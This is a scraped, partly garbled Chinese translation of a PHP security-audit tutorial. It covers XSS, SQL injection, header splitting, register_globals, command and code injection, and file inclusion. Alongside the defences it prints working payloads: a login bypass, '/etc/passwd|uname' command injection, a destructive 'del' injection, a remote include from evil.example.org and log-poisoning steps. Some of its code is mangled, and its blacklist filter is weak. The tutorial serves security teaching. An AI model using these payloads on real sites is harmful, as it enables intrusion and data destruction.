PHP Fuzzing.docx
- 文档编号:9315618
- 上传时间:2023-02-04
- 格式:DOCX
- 页数:43
- 大小:355.04KB
PHP Fuzzing.docx
《PHP Fuzzing.docx》由会员分享,可在线阅读,更多相关《PHP Fuzzing.docx(43页珍藏版)》请在冰豆网上搜索。
PHPFuzzing
PHPFuzzing行动——源码审计
作者:
ShahinRamezany
译者:
riusksk(泉哥:
)
目录:
Section1:
20种PHP源码快速审计方式
Section2:
PHP源码审计自动化(PHPFuzzer)
风险级别:
■Low
■Medium
■High
在开始PHP代码分析之前,读者必须先完成以下两项工作:
1.安装PHP程序;
2.使用支持PHP代码高亮的编辑器(比如Emeditor-Notepad++)。
笔者在下文中所提供的方法仅作为简单的攻击和防御参考。
本文旨在介绍攻击和防御方法。
注意1:
其中一些话题归Wikipedia版权所有
注意2:
必须在PHP源码中寻找以下变量:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
以上变量均为PHP中的可输入变量。
注意3:
关于这些变量的更多信息可访问PHP官方网站:
。
Section1:
20种PHP源码快速审计方式
1-CrossSiteScripting(XSS)/CRLF[Medium]
跨站脚本(XSS)属于WEB程序中的一类计算机安全漏洞,它允许在用户浏览的网页中注入恶意代码,比如HTML代码和客户端脚本。
可利用的跨站脚本漏洞可被攻击者用于绕过访问控制,比如同源策略(sameoriginpolicy)。
这类漏洞可被用于构造钓鱼攻击和浏览器攻击。
攻击:
攻击者在其请求中注入HTML代码。
Exp1:
php
$error_message=$_GET['error'];
print$error_message;
?
>
index.php?
error=
Exp2:
phpecho$_GET['show_courses'];? >"> #http: //127.0.0.1: 81/1.php? show_courses="> 防御: php $error_message=$_GET['error']; printhtmlspecialchars($error_message); ? > 更多资料: http: //ha.ckers.org/xss.html http: //en.wikipedia.org/wiki/Cross-site_scripting 2-SQLInjection[medium] SQL注入是利用WEB程序数据层的安全漏洞进行代码注入的技术。 当用户输入的数据中并未对嵌入的SQL声明语句进行正确过滤时,或者用户并没有被严格地限制输入,从而导致恶意代码被执行,就有可能造成SQL注入漏洞。 这是一类很普遍的安全漏洞,它可在任何时候发生于被嵌入的编程或脚本语言之中。 攻击: SQL注入是PHP代码审计过程中发现的最为严重的漏洞之一,关于这类攻击更多的信息可以通过阅读下面提供的参考资料获得,而这里只是简述此类漏洞而已。 Example1: php $id=$_GET['id']; $query="SELECT*FROMusersWHEREid='“.$id.";" ... ? > index.php? id=1+UNION+SELECT+1,@@version,3,4,5+from+users/* Example2: #login.php: //login.php--SQLInjectionVulnerablepage //Attackanddefencephpappsbook //shahriyar-j $user=$_POST['user']; $pass=$_POST['pass']; $link=mysql_connect('localhost','root','pass')ordie('Error: '.mysql_e rror()); mysql_select_db("sql_inj",$link); $query=mysql_query("SELECT*FROMsql_injWHEREuser='".$user."'ANDpas s='".$pass."'",$link); if(mysql_num_rows($query)==0){ echo" ript>"; exit; } $logged=1; ? > 当用户(可能为攻击者)发送$_POST['user'],$_POST['pass']给login.php时,这些变量直接存储在SQL请求命令中。 如果攻击者发送: $user=1'OR'1'='1 $pass=1'OR'1'='1 将会绕过login.php的登陆验证,读者当注意此类代码。 防御: 下面是通用的防注入代码: php $title=$_POST['title'];//userinputfromsite $description=$_POST['description'];//userinputfromsite //definethecleaner $dirtystuff=array("\"","\\","/","*","'","=","- ","#",";","<",">","+","%"); //cleanuserinput(ifitfindsanyofthevaluesabove,itwillreplaceitwith whateverisinthequotes-inthisexample,itreplacesthevaluewithnothing) $title=str_replace($dirtystuff,"",$title);//works! $description=str_replace($dirtystuff,"",$description);//works! //input: I\"like/green<**veg'et=a-bles>;and //output: Ilikegreenvegetablesandpizza //input: a';DROPTABLEusers;SELECT*FROMdataWHEREnameLIKE'% //output: aDROPTABLEusersSELECTFROMdataWHEREnameLIKE ? > <译注: 最好还是采用白名单的过滤方式> 更多信息: http: //en.wikipedia.org/wiki/Sql_injection InjectionOverview.ppt 攻击实例: 2-HTTPResponseSplitting[Medium] HTTP响应分裂是一种WEB程序漏洞,它可以导致应用程序或者环境设置对输入值的过滤失效,也可以执行跨站脚本攻击,跨用户攻击,WEB缓存中毒以及其它类似的攻击。 重要的HTTP头列表: 在PHP语言中,我们可以使用”header”函数来设置HTTP头,在一些PHP源码中,你可以发现"header","$_SERVER"等函数。 在"$_SERVER"函数中的一些参数包含有用户输入的数据: REQUEST_URI,PATH_INFO,QUERY_STRING Example1: php redirect_page=$_GET['page']; header("Location: ".redirect_page); ? > redirect.php? page= For$_SERVER: php echo"WelcomeFrom".$_SERVER['HTTP_REFERER']; ? > 可以使用MozillaFirefox插件"TamperData"来发送通常的HTTPheader: https: //addons.mozilla.org/en-US/firefox/addon/966 Example2: php $Name="test";//sendersname $email="email@";//senderse-mailadress $recipient=$_GET['to'];//recipient $mail_body="Thetextforthemail...";//mailbody $subject="Subject…";//subject $header="From: ".$Name."<".$email.">\r\n"; mail($recipient,$subject,$mail_body,$header);//mailcommand: ) ? > CRLF是HTTPResponseSplitting的另一种方式。 在上面的例子中,行4中的$recipient变量并没有对所有的输入数据进行检测,以致攻击者可以添加“CC”: 默认输入为: $headers="From: myplace@\r\n"; $headers.="CC: sombodyelse@\r\n"; “CC”和”From”被”\r\n”分隔。 污染输入: Mail.php? to=info@\r\nCC: sombodyelse@ 防御: 1-检测MailHeader的输入值 2-可使用以下方式输入,而不用URL输入: php $id=$_GET['url_id']; if($id==1){ header("Location: ".redirect_page); } ? > 和: php echo"WelcomeFrom".htmlspecialchars($_SERVER['HTTP_REFERER']); ? > 攻击实例: (video): http: //o0o.nu/~meder/o0o_Blogger_HTTP_response_splitting.txt 4-动态赋值漏洞[High]: 1-当使用动态函数加载时,可通过请求来执行指定的函数,导致攻击者可以执行任意函数。 攻击: php $myfunc=$_GET['myfunc']; $myfunc(); ? > Index.php? myfunc=phpinfo 2-全局函数漏洞 RegisterGlobal是危险的“PHP扩展”: 当其打开时,register_globals可利用各种变量注入脚本代码,比如来自HTML表单的请求。 这种漏洞主要与PHP变量未初始化相关,以致轻而易举地即可向其写入恶意代码。 这是一个艰难地抉择,但PHP官方最后依然决定在默认情况下禁止该指令。 当允许该指令时,用户仍可使用变量,但无法确定它是来自哪里,而只能靠猜测。 在脚本中定义的内部变量很容易与用户发送的请求数据相混淆,而只能通过禁止register_globals来解决这种情况。 下面演示一个未使用register_globals的例子: Admin.php php if(isset($is_admin)){ //Yes,I'mtheadminsocalltheAdministrationPannel [...] }else{ //No,I'mnottheadmin [...] } ? > #admin.php? is_admin=1 另一个说明register_globals存在问题的例子就是下面关于动态路径的包含: php include"$path/script.php"; ? > 当允许register_globals时,可用以下方式请求页面: Index.php? path=http: //evil.example.org/? 相当于下面的请求: php include'http: //evil.example.org/? /script.php'; ? > 注意(php.ini配置): 如果allow_url_fopen是enabled(默认情况下是enabled,甚至在php.ini中民被推荐的设置),这将包含http: //evil.example.org/的输出,正如本地文件一般。 这是一个严重的安全漏洞,这也是在一些开源的代码程序中被发现的。 防御: 不要使用这种方式去加载函数,这是一个危险地带! 任何时候,任何情况下,RegisterGlobal都应该关闭! 或者将变量的内容设置如下: php $is_admin=(); if(isset($is_admin)){ //Yes,I'mtheadminsocalltheAdministrationPannel [...] }else{ //No,I'mnottheadmin [...] } ? > 攻击实例/信息: 5-进程控制/PHP代码注入(HIGH): 当我们使用下列函数: “PHP进程执行函数&进程控制”,并且用户可以输入变量(见上面),那么将导致任意的PHP代码被执行。 PHP进程控制列表: Exec system passthru shell_exec proc_open pcntl_exec Example1: php $page=$_GET['page']; system("type".$page); ? > #index.php? page=/etc/passwd|uname–a Example2: 下列代码是来自一项管理系统的WEB程序,它允许用户封装批处理文件进行Oracle数据库备份,然后运行cleanup.bat脚本去清除一些临时文件。 rmanDB.bat可接受单命令行参数,由它指定备份类型。 因为数据库访问是受限的,备份程序需要权限用户才可执行。 ... $btype=$_GET['backuptype']; $cmd="cmd.exe/K\"c: \\util\\rmanDB.bat".$btype."&&c: \\utl\\cleanup. bat\""; system(cmd); ... ? > 这个问题主要是读取用户数据的backuptype参数时未对其进行任何有效地过滤所导致的。 特别是Runtime.exec()函数将不能执行多条命令,但在这种情况下,程序为了单次调用Runtime.exec()以执行多条命令,它就得先去执行cmd.exeshell。 Shell一经调用,它将会分别执行被点号分隔的多条命令。 如果攻击者发送一条经恶意构造的命令"&&delc: \\dbms\\*.*",那么程序将随之执行该条命令。 由于程序需要一定的权限才能与数据库交互,因此被注入的任何命令都将以此权限运行。 当程序员使用eval()函数操作内部数据时,这些数据都可能会被攻击者关注到,因为它很容易导致代码执行漏洞的发生: php $install=$_REQUEST['install_command']; eval($install); ? > 上面的代码如玫瑰香一般诱人,因为它可能被用来执行代码注入。 install.php? install_command=phpinfo(); 实例代码: php [...] $register_poll_vars=array("id","template_set","action"); for($i=0;$i if(isset($HTTP_POST_VARS[$register_poll_vars[$i]])){ eval("\$$register_poll_vars[$i]= \"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";"); }elseif(isset($HTTP_GET_VARS[$register_poll_vars[$i]])){ eval("\$$register_poll_vars[$i]= \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";"); }else{ eval("\$$register_poll_vars[$i]='';"); }} [...] ? > $$register_poll_vars[$i]是用户输入的变量。 http: //[target]/comments.php? id=";[PHPCODE]//&template_set=";[PHPCODE]//&action=";[PHPCODE]// 攻击实例: 6-本地/远程文件包含(High): 本地或者远程文件包含是PHP代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到PHPWEB页面。 危险函数: include include_once require require_once show_source highlight_file readfile file_get_contents fopen file 通常,PHP中的每一个“文件系统函数”都可能是危险的,可参见这里: 本地文件包含: php include('../geshi.php'); if(isset($_POST['submit']))//* { //* if(get_magic_quotes_gpc())$_POST['source']= stripslashes($_POST['source']); if(! strlen(trim($_POST['source']))) { //BUGisHERE $_POST['source']=implode('',@file('../geshi/'.$_POST['language']. '.php')); $_POST['language']='php'; } ? > 在星号*标记的一行中,如果存在变量$_POST['submit']和$_POST['language'],那么你就可以读取任何的PHP文件。 因此,我们可以利用此漏洞读取config.php文件! Exploit: //[HOST]/example.php"method="post"> Pathtofile: example: ../../../../config 注意: 在本地文件包含(LFI)攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。 也许这种文件浏览并不能造成多大危害,但攻击者可先构造一个错误,然后该错误会被记录在服务器上的日志文件中(apachelog/errorlog等等)。 当攻击者向目标主机请求一个未存在的文件时: Test000.php? code= php;phpinfo();? > 这将会把全路径地址都记录在error.log文件中(在本例中,你的日志文件路径可能与笔者不同),与此同时,当我们利用LFI漏洞的变量去加载error.log时,攻击者即可执行自己的PHP代码。 默认日志文件路径列表: var/log/httpd/access_log var/log/httpd/error_log apache/logs/error.log apache/logs/access.log apache/logs/error.log apache/logs/access.log apache/logs/error.log apache/logs/access.log apache/logs/error.log apache/logs/access.log apache/logs/error.log apache/logs/access.log logs/error.log logs/access.log logs/error.log logs/access.log logs/er
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- PHP Fuzzing